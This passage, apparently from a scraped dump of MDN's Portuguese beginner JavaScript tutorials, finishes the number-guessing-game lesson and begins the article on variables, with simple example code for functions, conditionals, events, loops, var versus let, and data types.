concentrar em um tipo simples. Aqui nós definimos uma função usando a palavra chave `function`, seguida de um nome, com parênteses colocados na sequência. Depois disso nós colocamos duas chaves (`{ }`). Dentro das chaves vai todo o código que queremos executar sempre que chamarmos a função.\n\nO código é executado digitando o nome da função seguido pelos parênteses.\n\nTente salvar o seu código agora e atualizá-lo no navegador.\n\nVá até o console JavaScript, e insira a seguinte linha:\n\n\n```js\nconferirPalpite();\n```\n\n\nVocê deverá ver um alerta aparecer dizendo \"Eu sou um placeholder\"; nós definimos uma função em nosso código que cria um alerta a qualquer hora em que a chamarmos.\n\n**Nota:** Você irá aprender muito mais sobre funções mais tarde no curso.\n\n### Operadores\n\nOs operadores JavaScript nos permite realizar testes, fazer cálculos matemáticos, unir sequências de texto, e outras coisas do tipo.\n\nVamos salvar nosso código e atualizar a página exibida em nosso navegador. Abra o console JavaScript se você ainda não o tiver aberto, para que possamos digitar os exemplos mostrados abaixo — digite cada um exatamente como mostrado na coluna \"Exemplo\", pressionando Return/Enter na sequência, e veja quais resultados são retornados. Se você não tiver fácil acesso às ferramentas de desenvolvimento do navegador você pode sempre utilizar o console embutido simples, como no exemplo abaixo:\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Console JavaScript</title>\n    <style>\n \\* {\n box-sizing: border-box;\n }\n\n html {\n background-color: #0c323d;\n color: #809089;\n font-family: monospace;\n }\n\n body {\n max-width: 700px;\n }\n\n p {\n margin: 0;\n width: 1%;\n padding: 0 1%;\n font-size: 16px;\n line-height: 1.5;\n float: left;\n }\n\n .input p {\n margin-right: 1%;\n }\n\n .output p {\n width: 100%;\n }\n\n .input input {\n width: 96%;\n float: left;\n border: none;\n font-size: 16px;\n line-height: 1.5;\n font-family: monospace;\n padding: 0;\n background: #0c323d;\n color: #809089;\n }\n\n div {\n clear: both;\n }\n </style>\n  </head>\n  <body></body>\n\n  <script>\n var geval = eval;\n\n function createInput() {\n var inputDiv = document.createElement(\"div\");\n var inputPara = document.createElement(\"p\");\n var inputForm = document.createElement(\"input\");\n\n inputDiv.setAttribute(\"class\", \"input\");\n inputPara.textContent = \">\";\n inputDiv.appendChild(inputPara);\n inputDiv.appendChild(inputForm);\n document.body.appendChild(inputDiv);\n inputDiv.focus();\n\n inputForm.addEventListener(\"change\", executeCode);\n }\n\n function executeCode(e) {\n try {\n var result = geval(e.target.value);\n } catch (e) {\n var result = \"error — \" + e.message;\n }\n\n var outputDiv = document.createElement(\"div\");\n var outputPara = document.createElement(\"p\");\n\n outputDiv.setAttribute(\"class\", \"output\");\n outputPara.textContent = \"Result: \" + result;\n outputDiv.appendChild(outputPara);\n document.body.appendChild(outputDiv);\n\n e.target.disabled = true;\n e.target.parentNode.style.opacity = \"0.5\";\n\n createInput();\n }\n\n createInput();\n </script>\n</html>\n```\n\n\nPrimeiro vamos ver os operadores matemáticos, como por exemplo:\n\n| Operador | Nome | Exemplo |\n| --- | --- | --- |\n| `+` | Adição | `6 + 9` |\n| `-` | Subtração | `20 - 15` |\n| `*` | Multiplicação | `3 * 7` |\n| `/` | Divisão | `10 / 5` |\n\nVocê também pode usar o operador `+` para unir sequências de texto (isso é chamado de concatenação em programação). Tente inserir as seguintes linhas:\n\n\n```js\nvar nome = \"Bingo\";\nnome;\nvar ola = \" diz olá!\";\nola;\nvar cumprimento = nome + ola;\ncumprimento;\n```\n\n\nHá também alguns atalhos para operadores disponíveis, chamados de operadores de atribuição ampliada (ou atribuição composta). Por exemplo, se você quer adicionar uma nova sequência de texto à uma existente e retornar o resultado, você pode fazer o seguinte:\n\n\n```js\nnome += \" diz olá!\";\n```\n\n\nIsso é equivalente a:\n\n\n```js\nnome = nome + \" diz olá!\";\n```\n\n\nQuando estamos rodando testes de verdadeiro/falso (por exemplo, condicinais internas — veja abaixo, usamos operadores de comparação, por exemplo:\n\n| Operador | Nome | Exemplo |\n| --- | --- | --- |\n| `===` | Igualdade estrita (é estritamente o mesmo?) | `5 === 2 + 4` |\n| `!==` | Não-igualdade (não é o mesmo?) | `'Chris' !== 'Ch' + 'ris'` |\n| `<` | Menor que | `10 < 6` |\n| `>` | Maior que | `10 > 20` |\n\n### Condicionais\n\nVoltando à nossa função `conferirPalpite()`, imagino que seja seguro dizer que não queremos que ela apenas exiba uma mensagem de teste (placeholder). Nós queremos verificar se o palpite do jogador está correto ou não, e responder apropriadamente.\n\nNeste ponto, substitua sua função `conferirPalpite()` atual por esta versão:\n\n\n```js\nfunction conferirPalpite() {\n  var palpiteUsuario = Number(campoPalpite.value);\n  if (contagemPalpites === 1) {\n    palpites.textContent = \"Palpites anteriores: \";\n  }\n  palpites.textContent += palpiteUsuario + \" \";\n\n  if (palpiteUsuario === numeroAleatorio) {\n    ultimoResultado.textContent = \"Parabéns! Você acertou!\";\n    ultimoResultado.style.backgroundColor = \"green\";\n    baixoOuAlto.textContent = \"\";\n    configFimDeJogo();\n  } else if (contagemPalpites === 10) {\n    ultimoResultado.textContent = \"!!!FIM DE JOGO!!!\";\n    baixoOuAlto.textContent = \"\";\n    configFimDeJogo();\n  } else {\n    ultimoResultado.textContent = \"Errado!\";\n    ultimoResultado.style.backgroundColor = \"red\";\n    if (palpiteUsuario < numeroAleatorio) {\n      baixoOuAlto.textContent = \"Seu palpite está muito baixo!\";\n    } else if (palpiteUsuario > numeroAleatorio) {\n      baixoOuAlto.textContent = \"Seu palpite está muito alto!\";\n    }\n  }\n\n  contagemPalpites++;\n  campoPalpite.value = \"\";\n  campoPalpite.focus();\n}\n```\n\n\nIsso é bastante código — ufa! Vamos abordar cada seção e explicar o que faz.\n\n* A primeira linha (linha 2 no código acima) declara uma variável chamada `palpiteUsuario` e define seu valor igual ao valor inserido pelo jogador no campo de texto. Nós também rodamos esse valor através do método embutido `Number()`, apenas para ter certeza de que o valor inserido é um número.\n* Em seguida, encontramos nosso primero bloco de código condicional (linhas 3–5 no código acima). Um bloco de código condicional lhe permite executar código seletivamente, dependendo se uma condição é verdadeira ou não. Se parece um pouco com uma função, mas não é. A forma mais simples de um bloco condicional começa com a palavra chave `if`, depois os parênteses, depois as chaves. Dentro dos parênteses nós incluímos um teste. Se o teste retornar `true`(verdadeiro), o código dentro das chaves é executado. Caso contrário, não é executado, e seguimos para a próxima parte do código. Neste caso, o teste está verificando se a variável `contagemPalpites` é igual a `1` (isto é, se essa é ou não a primeira tentativa do jogador):\n\n```js\ncontagemPalpites === 1;\n```\n\nSe a condição for verdadeira, nós tornamos o conteúdo do parágrafo de palpites, `<p class=\"palpites\"></p>` igual a \"Palpites anteriores: \". Caso contrário, o texto não é exibido.\n* A linha 6 acrescenta o valor atual de `palpiteUsuario` ao final do parágrafo `palpites`, mais um espaço em branco para que haja espaçamento entre cada palpite mostrado.\n* O próximo bloco (linhas 8–24 acima) fazem as seguintes conferências:\n    + O primeiro `if(){ }` confere se o palpite do jogador é igual ao número aleatório (`numeroAleatorio`) definido no topo do nosso JavaScript. Se for, o jogador adivinhou corretamente o número e venceu o jogo. Então mostramos ao jogador uma mensagem de parabenização com uma agradável cor verde, limpamos o conteúdo do parágrado que informa sobre o palpite ser alto ou baixo `<p class=\"baixoOuAlto\"></p>`, e executamos uma função chamada `configFimDeJogo()`, que iremos discutir mais tarde.\n    + Agora nós encadeamos outro teste ao final deste anterior usando uma estrutura `else if(){ }`. Este confere se o palpite do jogador é sua última tentativa. Se for, o programa faz o mesmo que no bloco anterior, porém com uma mensagem de fim de jogo ao invés do texto de parabenização.\n    + O bloco final encadeado ao final do código (`else { }`) contém código que só é executado se nenhum dos outros dois testes retornar verdadeiro (ou seja, o jogador não acertou o número, porém ainda tem mais tentativas restantes). Neste caso nós dizemos a ele que está errado, e então rodamos outro teste condicional para checar se o palpite foi maior ou menor do que a resposta certa, exibindo então uma mensagem apropriada para informá-lo se foi maior ou menor.\n* As próximas três linhas da função (linhas 26–28) nos deixa preparados para o próximo palpite ser submetido. Nós somamos 1 à variável `contagemPalpites` para que o jogador use sua tentativa (`++` é uma operação de incremento — incrementa em 1), e o campo de texto do formulário de inserção seja esvaziado e focado novamente, pronto para que o próximo palpite seja inserido.\n### Eventos\n\nNeste ponto temos uma função `conferirPalpite()` bem implementada, mas ela não irá fazer nada pois nós não a chamamos ainda. Idealmente nós queremos que ela seja acionada quando o botão \"Enviar palpite\" for pressionado, e para fazer isso precisamos usar um evento. Eventos são ações que acontencem no navegador, como um botão sendo clicado, ou uma página carregada, ou um vídeo tocando; ações as quais podemos responder executando blocos de código. Os construtores que monitoram os acontecimentos de eventos são chamados de **event listeners**, e os blocos de código executados em resposta ao acontecimento do evento são chamados de **event handlers**.\n\nAdicione a seguinte linha abaixo da chave de fechamento da sua função `conferirPalpite()`:\n\n\n```js\nenvioPalpite.addEventListener(\"click\", conferirPalpite);\n```\n\n\nAqui nós estamos adicionando um *event listener* ao botão `envioPalpite`. Esse é um método que aceita a inserção de dois valores (chamados de argumentos) — o tipo de envento que estamos monitorando (neste caso o evento `click`) como um *string* (sequência de texto), e o código que queremos executar quando o evento ocorrer (neste caso a função `conferirPalpite()` — note que não temos que especificar os parênteses quando estivermos escrevendo dentro de `addEventListener()`).\n\nTente agora salvar e atualizar seu código, e seu exemplo deve funcionar agora, até um ponto. O único problema agora é que se você acertar o palpite ou ficar sem mais tentativas o jogo irá falhar, porque ainda não definimos a função `configFimDeJogo()` que deve ser executada uma vez que o jogo terminar. Vamos adicionar agora o código restante e completar a funcionalidade do nosso exemplo.\n\n### Finalizando a funcionalidade do jogo\n\nVamos adicionar a função `configFimDeJogo()` ao final do nosso código e então explorá-lo. Adicione agora isso, abaixo do restante do seu JavaScript:\n\n\n```js\nfunction configFimDeJogo() {\n  campoPalpite.disabled = true;\n  envioPalpite.disabled = true;\n  botaoReinicio = document.createElement(\"button\");\n  botaoReinicio.textContent = \"Iniciar novo jogo\";\n  document.body.appendChild(botaoReinicio);\n  botaoReinicio.addEventListener(\"click\", reiniciarJogo);\n}\n```\n\n\n* As primeiras duas linhas desabilitam a entrada de texto do formulário e o clique do botão, definindo a propriedade *disabled* (desabilitado) de cada um como `true` (verdadeiro). Isso é necessário, pois se não o fizermos, o usuário poderia submeter mais palpites depois do jogo ter terminado, o que iria bagunçar as coisas.\n* As próximas três linhas geram um novo elemento `<button>`, define o texto de seu rótulo como \"Iniciar novo jogo\", e o adiciona ao final do nosso HTML existente.\n* A linha final define um monitor de evento (*event listener*) em nosso botão, para que quando seja clicado, uma função chamada `reiniciarJogo()` seja executada.\n\nAgora precisamos definir essa função também! Adicione o seguinte código, novamente ao final do nosso JavaScript:\n\n\n```js\nfunction reiniciarJogo() {\n  contagemPalpites = 1;\n\n  var reiniciarParas = document.querySelectorAll(\".resultadoParas p\");\n  for (var i = 0; i < reiniciarParas.length; i++) {\n    reiniciarParas[i].textContent = \"\";\n  }\n\n  botaoReinicio.parentNode.removeChild(botaoReinicio);\n\n  campoPalpite.disabled = false;\n  envioPalpite.disabled = false;\n  campoPalpite.value = \"\";\n  campoPalpite.focus();\n\n  ultimoResultado.style.backgroundColor = \"white\";\n\n  numeroAleatorio = Math.floor(Math.random() \\* 100) + 1;\n}\n```\n\n\nEsse longo bloco de código redefine completamente tudo do modo como era no início do jogo, para que o jogador possa jogá-lo novamente. Ele:\n\n* Coloca o valor da variável `contagemPalpites` novamente igual a 1.\n* Limpa todos os parágrafos de informativos.\n* Remove o botão resete do nosso código.\n* Habilita os elementos do formulários, esvazia e direciona o foco ao campo de texto, pronto para que um novo palpite seja inserido.\n* Remove a cor de fundo do parágrafo `ultimoResultado`.\n* Gera um novo número aleatório para que o jogador não esteja tentando adivinhar o mesmo número novamente!\n\n**Neste ponto você deve ter um jogo (simples) completamente funcional — parabéns!**\n\nTudo o que temos que fazer agora neste artigo é falar sobre alguns outros recursos importantes que você já viu, mesmo que não os tenha notado ainda.\n\n### Loops\n\nUma parte do código acima que precisamos olhar mais detalhadamente é o loop for. Loop é um conceito muito importante em programação, que permite a você continuar executando um pedaço do código repetidamente, até que determinada condição seja satisfeita.\n\nPara começar, vá novamente até o console JavaScript do seu navegador, e insira o seguinte:\n\n\n```js\nfor (var i = 1; i < 21; i++) {\n  console.log(i);\n}\n```\n\n\nO que aconteceu? Os números de 1 a 20 foram exibidos no seu console. Isso acontece por causa do loop. Um loop `for` utiliza a inserção de três valores (argumentos):\n\n1. **Um valor inicial**: Nesse caso estamos iniciando a contagem em 1, mas poderia ser qualquer outro número que quisesse utilizar. Você pode substituir `i` por qualquer número que quiser também, mas `i` é utilizado por convenção porque é curto e fácil de lembrar.\n2. **Uma condição de saída**: Aqui nós especificamos `i < 21` — o loop irá continuar rodando até que `i` não seja mais menor que 21. Quando `i` alcançar 21, o loop não será mais executado.\n3. **Incremento**: Nós especificamos `i++`, que siginifica \"adicione 1 à i\". O loop irá rodar uma vez para cada valor de `i`, até que `i` alcance o valor de 21 (como abordado acima). Nesse caso, nós estamos simplesmente imprimindo o valor de `i` no console em cada iteração usando `console.log()`.\n\nAgora vamos olhar o loop em nosso jogo de adivinhar o número — o código seguinte pode ser encontrado dentro da função `reiniciarJogo()`:\n\n\n```js\nvar reiniciarParas = document.querySelectorAll(\".resultadoParas p\");\nfor (var i = 0; i < reiniciarParas.length; i++) {\n  reiniciarParas[i].textContent = \"\";\n}\n```\n\n\nEsse código cria uma variável contendo uma lista de todos os parágrafos dentro de `<div class=\"resultadoParas\">` usando o método `querySelectorAll()`, e então faz o loop em cada um, removendo o conteúdo de texto dos mesmos.\n\n### Uma pequena discussão sobre objetos\n\nVamos adicionar uma melhoria final antes de chegarmos a essa discussão. Adicione a linha seguinte logo abaixo da linha `var botaoReinicio;` próximo ao topo do seu JavaScript, em seguida salve nosso arquivo:\n\n\n```js\ncampoPalpite.focus();\n```\n\n\nEssa linha usa o método `focus()` (en-US) para automaticamente colocar o cursor dentro campo de texto do `<input>` assim que a página carrega, significando que o usuário já pode começar a digitar o primeiro palpite, e não precisa clicar no campo do formulário primeiro. É apenas uma pequena adição, mas melhora a usabilidade — dando ao usuário uma boa dica visual do que ele deve fazer para jogar o jogo.\n\nVamos analisar o que está acontencedo aqui com um pouco mais de detalhes. Em JavaScript, tudo é um objeto. Um objeto é uma coleção de funcionalidades relacionadas armazenadas em um único agrupamento. Você pode criar seus próprios objetos, mas isso é bastante avançado e nós não iremos abordar até mais tarde no curso. Por agora, vamos apenas discutir brevemente os objetos pré-construídos presentes em seu navegador, que lhe permite fazer várias coisas úteis.\n\nNeste caso particular, nós primeiro criamos a variável `campoPalpite` que armazena uma referência ao campo de inserção de texto do formulário em nosso HTML — a linha seguinte pode ser achada entre nossas declarações de variáveis próximas ao topo:\n\n\n```js\nvar campoPalpite = document.querySelector(\".campoPalpite\");\n```\n\n\nPara pegar essa referência, usamos o método `querySelector()` do objeto `document`. `querySelector()` pega um pedaço de informação — um seletor CSS (en-US) que seleciona o elemento ao qual você quer referenciar.\n\nComo agora `campoPalpite` contém referência ao elemento `<input>`, ele terá agora acesso a um número de propriedades (basicamente variáveis armazenadas dentro de objetos, sendo que alguns não podem ter seus valores alterados) e métodos (basicamente, funções armazenadas dentro de objetos). Um método disponível para elementos de inserção `<input>`, é o `focus()`, então agora podemos usar essa linha para focar o campo de inserção de texto:\n\n\n```js\ncampoPalpite.focus();\n```\n\n\nVariáveis que não contém referências a elementos de formulário não terão `focus()` disponível para elas. Por exemplo, a variável `palpites` contém referência de um elemento `<p>`, e `contagemPalpites` contém um número.\n\n### Brincando com objetos do navegador\n\nVamos brincar um pouco com alguns objetos do navegador.\n\n1. Primeiro abra seu programa em um navegador.\n2. Em seguida, abra as ferramentas de desenvolvimento do navegador, e certifique-se de que a aba do console JavaScript esteja aberta.\n3. Digite `campoPalpite` e o console irá lhe mostrar que a variável contém um elemento `<input>`. Você também irá notar que o console completa automaticamente os nomes de objetos existentes dentro do ambiente de execução, incluindo suas variáveis!\n    1. Agora digite o seguinte:\n     js\n    ```js\n    campoPalpite.value = \"Olá\";\n    \n    ```\n    A propriedade `value` representa o valor atual inserido no campo de texto. Você verá que inserindo esse comando, nós mudamos o valor desse objeto!\n4. Agora tente digitar `palpites` e pressione *return*. O console irá mostrar que a variável contém um elemento `<p>`.\n5. Agora tente inserir a linha seguinte:\n\n```js\npalpites.value;\n```\n\nO navegador irá retornar `undefined`, porque `value` não existe em parágrafos.\n6. Para mudar o texto dentro de um parágrafo, você precisa da propriedade `textContent`. Tente isso:\n\n```js\npalpites.textContent = \"Onde está meu parágrafo?\";\n```\n\n7. Agora algo divertido. Tente inserir as linhas abaixo, uma por uma:\n\n```js\npalpites.style.backgroundColor = \"yellow\";\npalpites.style.fontSize = \"200%\";\npalpites.style.padding = \"10px\";\npalpites.style.boxShadow = \"3px 3px 6px black\";\n```\n\nCada elemento em uma página tem uma propriedade `style`, que contém um objeto no qual estão inseridos em suas propriedades todos os estilos incorporados de CSS aplicados ao respectivo elemento. Isso nos permite configurar dinamicamente novos estilos CSS nos elementos usando JavaScript.\nFinalizado por enquanto\n-----------------------\n\nEntão é isso, para construir o exemplo — você chegou ao final, muito bem! Teste o resultado do seu código, ou jogue com nossa versão finalizada aqui. Se você não conseguir fazer o exemplo funcionar, compare com o código fonte.\n\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"Armazenando as informações que você precisa — Variáveis - Aprendendo desenvolvimento web","text":"Armazenando as informações que você precisa — Variáveis\n=======================================================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nDepois de ler os últimos artigos, você deve saber agora o que é o JavaScript, o que ele pode fazer para você, como você usa isso junto com outras tecnologias da web e as características principais de alto nível. Neste artigo, iremos ao básico, vendo como trabalhar com a maioria dos blocos de construção básicos de JavaScript - Variáveis.\n\n| Pré-requisitos: | Conhecimento básico em informática, uma compreensão básica de HTML e CSS, uma compreensão do que é o JavaScript. |\n| --- | --- |\n| Objetivo: | Familiarizar-se com o básico de variáveis em JavaScript. |\n\nFerramentas que você precisa\n----------------------------\n\nAo longo deste artigo, pediremos que você digite linhas de código para testar seu entendimento do conteúdo. Se você estiver utilizando um navegador em um computador, o melhor lugar para digitar seus código de exemplos é o console JavaScript do seu navegador (veja o artigo O que são as ferramentas de desenvolvimento do navegador para mais informações sobre como acessar essa ferramenta).\n\nNo entanto, nós também providenciamos um simples console JavaScript incorporado à página logo abaixo para que você inserir o código, caso não esteja usando um navegador com um console JavaScript facilmente disponível, ou se achar o console incorporado mais confortável.\n\nO que é uma variável?\n---------------------\n\nUma variável é um container para um valor, como um número que podemos usar em uma operação de adição, ou uma sequência de texto que possamos usar como parte de uma oração. Mas uma coisa especial a respeito das variáveis é que seu conteúdo pode mudar. Vamos ver um exemplo simples:\n\n\n```html\n<button>Aperte-me</button>\n```\n\n\n\n```js\nvar button = document.querySelector(\"button\");\n\nbutton.onclick = function () {\n  var nome = prompt(\"Qual é o seu nome?\");\n  alert(\"Olá \" + nome + \", é um prazer te ver!\");\n};\n```\n\n\nNesse exemplo, apertar o botão executa algumas linhas de código. A primeira linha exibe uma caixa pop-up na tela que pede ao leitor para inserir o seu nome, e então armazena o valor na variável. A segunda linha exibe uma mensagem de boas vindas que inclui seu nome, obtido do valor da variável.\n\nPara entender porque isso é útil, vamos pensar sobre como nós escreveríamos esse exemplo sem usar uma variável. Iria acabar se parecendo com algo do tipo:\n```\n\nvar nome = prompt('Qual é o seu nome?');\n\nif (nome === 'Adão') {\n  alert('Olá Adão, é um prazer te ver!');\n} else if (nome === 'Alan') {\n  alert('Olá Alan, é um prazer te ver!');\n} else if (nome === 'Bella') {\n  alert('Olá Bella, é um prazer te ver!');\n} else if (nome === 'Bianca') {\n  alert('Olá Bianca, é um prazer te ver!');\n} else if (nome === 'Chris') {\n  alert('Olá Chris, é um prazer te ver !');\n}\n\n// ... e assim por diante ...\n```\n\n\nVocê talvez não entenda totalmente a sintaxe que estamos usando (ainda!), mas deve ter pegado a ideia — se nós não tivermos variáveis disponíveis teríamos que implementar um bloco de código gigantesco para conferir qual era o nome inserido, e então exibir a mensagem apropriada para aquele nome. Isso é obviamente muito ineficiente (o código é muito maior, mesmo para apenas quatro opções de nome), e simplesmente não funcionaria — você não poderia armazenar todas as possíveis opções de nome.\n\nVariáveis simplesmente fazem sentido, e a medida que você for aprendendo mais sobre JavaScript elas começarão a se tornar uma coisa natural.\n\nOutra coisa especial sobra as variáveis é que elas podem conter praticamente qualquer coisa — não apenas cadeias de texto e números. Variáveis também podem conter dados complexos e até mesmo funções completas para fazer coisas incríveis. Você irá aprender mais sobre isso a medida que continuarmos.\n\n**Nota:** Perceba que dissemos que as variáveis contém valores. Essa é uma distinção importante a se fazer. Elas não são os valores; e sim os containers para eles. Você pode pensar nelas sendo pequenas caixas de papelão nas quais você pode guardar coisas..\n\n![](/pt-BR/docs/Learn/JavaScript/First_steps/Variables/boxes.png)\n\nDeclarando uma variável\n-----------------------\n\nPara usar uma variável primeiro tem que criá-la — mais precisamente, chamamos isso de declarar a variável. Para fazê-lo digitamos a palavra chave `var` seguido do nome que desejamos dar à variável:\n\n\n```js\nvar meuNome;\nvar minhaIdade;\n```\n\n\nAqui, estamos criando duas variáveis chamadas `meuNome` e `minhaIdade`. Tente agora digitar essas linhas no console do seu navegador. Depois disso, tente criar uma variável (ou duas) com suas próprias escolhas de nomes.\n\n**Nota:** No JavaScript, todas as intruções em código deve terminar com um ponto e vírgula (`;`) — seu código pode até funcionar sem o ponto e vírgula em linhas únicas, mas provavelmente não irá funcionar quando estiver escrevendo várias linhas de código juntas. Tente pegar o hábito de sempre incluir o ponto e vírgula.\n\nVocê pode testar se os valores agora existem no ambiente de execução digitando apenas os nomes das variáveis, ex.:\n\n\n```js\nmeuNome;\nminhaidade;\n```\n\n\nElas atualmente não possuem valor; são containers vazios. Quando você insere o nome de uma variável, você deve obter em retorno ou um valor `undefined` (indefinido), ou se a variável não existir, você recebe uma mensagem de erro — tente digitar:\n\n\n```js\nscoobyDoo;\n```\n\n\n**Nota:** Não confunda uma variável que existe mas não tenho valor definido com uma variável que não existe — são coisas bem diferentes.\n\nInicializando uma variável\n--------------------------\n\nUma vez que você declarou uma variável, você pode inicializá-la com um valor. Você faz isso digitando o nome da variável, seguido do sinal de igual (`=`) e o valor que deseja atribuir a ela. Por exemplo:\n\n\n```js\nmeuNome = \"Chris\";\nminhaIdade = 37;\n```\n\n\nTente voltar ao console agora e digitar essas linhas acima. Você deve ver o valor que atribuiu à variável retornado no console confirmando-o, em cada caso. De novo, você pode retornar os valores de suas variáveis simplesmente digitando seus nomes no console — tente isso novamente:\n\n\n```js\nmeuNome;\nminhaIdade;\n```\n\n\nVocê pode declarar e inicializar uma variável ao mesmo tempo, assim:\n\n\n```js\nvar meuNome = \"Chris\";\n```\n\n\nIsso provavelmente é como irá fazer na maioria das vezes, já que é mais rápido do que fazer as duas ações em duas linhas separadas.\n\nA diferença entre var e let\n---------------------------\n\nAgora você pode estar pensando \"por que precisamos de duas palavras-chave para definir variáveis? Por que `var` *e* `let`?\".\n\nAs razões são um tanto históricas. Quando o JavaScript foi criado, havia apenas `var`. Isso funciona basicamente bem na maioria dos casos, mas tem alguns problemas na maneira como funciona — seu design pode ser confuso ou totalmente irritante. Portanto, `let` foi criada nas versões modernas de JavaScript, uma nova palavra-chave para criar variáveis que funcionam de maneira um pouco diferente para `var`, corrigindo seus problemas no processo.\n\nAlgumas diferenças simples são explicadas abaixo. Não abordaremos todas as diferenças agora, mas você começará a descobri-las à medida que aprender mais sobre JavaScript (se realmente quiser ler sobre elas agora, fique à vontade para conferir nossa página de referência let).\n\nPara começar, se você escrever um programa JavaScript de várias linhas que declare e inicialize uma variável, poderá realmente declarar uma variável com `var` depois de inicializá-la e ainda funcionará. Por exemplo:\n\n\n```js\nmeuNome = \"Chris\";\n\nfunction logNome() {\n  console.log(meuNome);\n}\n\nlogNome();\n\nvar meuNome;\n```\n\n\n**Nota:** Isso não funcionará ao digitar linhas individuais em um console JavaScript, apenas ao executar várias linhas de JavaScript em um documento da web.\n\nIsso funciona por causa do **hoisting** — leia var hoisting pra mais detalhes.\n\nHoisting não funciona mais com `let`. Se mudássemos de `var` para `let` no exemplo acima, teríamos um erro. Isso é bom — declarar uma variável depois que você a inicializa resulta em código confuso e difícil de entender.\n\nE depois, ao usar `var`, você pode declarar a mesma variável quantas vezes quiser, mas com `let` você não consegue. Isso pode funcionar:\n\n\n```js\nvar meuNome = \"Chris\";\nvar meuNome = \"Bob\";\n```\n\n\nMas isso geraria um erro na segunda linha:\n\n\n```js\nlet meuNome = \"Chris\";\nlet meuNome = \"Bob\";\n```\n\n\nVocê precisaria fazer assim:\n\n\n```js\nlet meuNome = \"Chris\";\nmeuNome = \"Bob\";\n```\n\n\nNovamente, essa é uma decisão sensata da linguagem. Não há razão para redeclarar variáveis — isso apenas torna as coisas mais confusas.\n\nPor esses motivos e mais, recomendamos que você use `let` o máximo possível em seu código, em vez de `var`. Não há motivo para usar `var`, a menos que você precise oferecer suporte para versões antigas do Internet Explorer com seu código (ele não suporta `let` até a versão 11; o navegador mais moderno do Windows, o Edge, suporta `let`).\n\nAtualizando uma variável\n------------------------\n\nUma vez que uma tenha um valor atribuido, você pode atualizar esse valor simplesmente dando a ela um valor diferente. Tente inserir as seguintes linhas no seu console:\n\n\n```js\nmeuNome = \"Bob\";\nminhaIdade = 40;\n```\n\n### Um adendo sobre regras de nomeação de variáveis\n\nVocê pode chamar uma variável praticamente qualquer nome que queira, mas há limitações. Geralmente você deve se limitar a utilizar somente caracteres latinos (0-9, a-z, A-Z) e o caractere underline ( \\_ ).\n\n* Você não deve usar outros caracteres porque eles podem causar erros ou ser difíceis de entender por uma audiência internacional.\n* Não use underline no início do nome de variáveis — isso é utilizado em certos construtores JavaScript para significar coisas específicas, então pode deixar as coisas confusas.\n* Não use número no início do nome de variáveis. Isso não é permitido e irá causar um erro.\n* Uma conveção segura é se ater à chamada \"lower camel case\", onde você junta várias palavras, usando minúscula para a primeira palavra inteira e, em seguida, maiusculiza a primeira letra das palavras subsequentes. Temos utilizado esse procedimento para os nomes das nossas variáveis nesse artigo até aqui.\n* Faça nomes de variáveis intuitivos, para que descrevam o dado que ela contém. Não use letras ou números únicos, ou frases muito longas.\n* As variáveis diferenciam letras maiúsculas e minúsculas — então `minhaidade` é uma variável diferente de `minhaIdade`.\n* Um último ponto — você também precisa evitar utilizar palavras reservadas pelo JavaScript como nome para suas variáveis — com isso, queremos dizer as palavras que fazem parte da sintaxe do JavaScript! Então você não pode usar palavras como `var`, `function`, `let` e `for` como nome de variáveis. Os navegadores vão reconhecê-las como itens de código diferentes e, portanto, você terá erros.\n\n**Nota:** Você pode encontrar uma lista bem completa de palavras reservadas para evitar em Gramática léxica — Palavras-chave.\n\nExemplos de bons nomes:\n```\n\nidade\nminhaIdade\ninicio\ncorInicial\nvalorFinalDeSaida\naudio1\naudio2\n```\n\n\nExemplos ruins de nomes:\n```\n\n1\na\n_12\nminhaidade\nMINHAIDADE\nvar\nDocument\nskjfndskjfnbdskjfb\nesseeumnomedevariavelbemlongoeestupido\n```\n\n\nTente criar mais algumas variáveis agora, com a orientação acima em mente.\n\nTipos de variáveis\n------------------\n\nExistem alguns diferentes tipos de dados que podemos armazenar em variáveis. Nessa seção iremos descrevê-los brevemente, e então em artigos futuros você aprenderá sobre eles em mais detalhes.\n\nAté agora nós vimos os dois primeiros, mas há outros.\n\n### Números\n\nVocê pode armazenar números em variáveis, tanto números inteiros, como por exemplo 30 (também chamados de *integers*) como números decimais, por exemplo 2.456 (também chamados de *floats* ou *floating point numbers*). Você não precisa declarar tipos de variáveis no JavaScript, diferentemente de outras linguagens de programação. Quando você atribui a uma variável o valor em número, você não inclui as aspas:\n\n\n```js\nvar minhaIdade = 17;\n```\n\n### *Strings* (cadeias de texto)\n\n*Strings* são sequências de texto. Quando você dá a uma variável um valor em texto (*string*), você precisa envolver o texto em aspas simples ou duplas; caso contrário, o JavaScript vai tentar interpretá-lo como sendo outro nome de variável.\n\n\n```js\nvar despedidaGolfinho = \"Até logo e obrigado por todos os peixes!\";\n```\n\n### *Booleans* (boleanos)\n\n*Booleans* são valores verdadeiro/falso (*true/false*) — eles podem ter dois valores, `true` (verdadeiro) ou `false` (falso). São geralmente usados para verificar uma condição, que em seguida o código é executado apropriadamente. Por exemplo, um caso simples seria:\n\n\n```js\nvar estouVivo = true;\n```\n\n\nEnquanto na realidade seria utlizado mais da seguinte forma:\n\n\n```js\nvar teste = 6 < 3;\n```\n\n\nEsse exemplo está usando o operador \"menor que\" (`<`) para testar se 6 é menor que 3. Como você pode esperar, irá retornar `false` (falso), porque 6 não é menor que 3! Você aprenderá mais sobre tais operadores mais tarde no curso.\n\n### *Arrays*\n\nUm array é um único objeto que contém valores múltiplos inseridos entre colchetes e separados por vírgulas. Tente inserir as seguintes linhas de código no seu console:\n\n\n```js\nvar meuNomeArray = [\"Chris\", \"Bob\", \"Jim\"];\nvar meuNumeroArray = [10, 15, 40];\n```\n\n\nUma vez que esses arrays estejam definidos, você pode acessar cada um de seus valores através de sua localização dentro do array. Tente essas linhas:\n\n\n```js\nmeuNomeArray[0]; // deve retornar 'Chris'\nmeuNumeroArray[2]; // deve retornar 40\n```\n\n\nOs colchetes especificam um valor do índice correspondente à posição do valor que você deseja retornado. Você talvez tenha notado que os arrays em JavaScript são indexados a partir do zero: o primeiro elemento está na posíção 0 do índice.\n\nVocê aprenderá mais sobre arrays em um artigo futuro.\n\n### Objetos\n\nEm programação, um objeto é uma estrutura de código que representa um objeto da vida real. Você pode ter um simples objeto que representa um estacionamento de carro contendo informações sobre sobre sua largura e comprimento, ou você poderia ter um objeto que representa uma pessoa, e contém dados sobre seu nome, altura, peso, que idioma ela fala, como dizer olá a ela, e 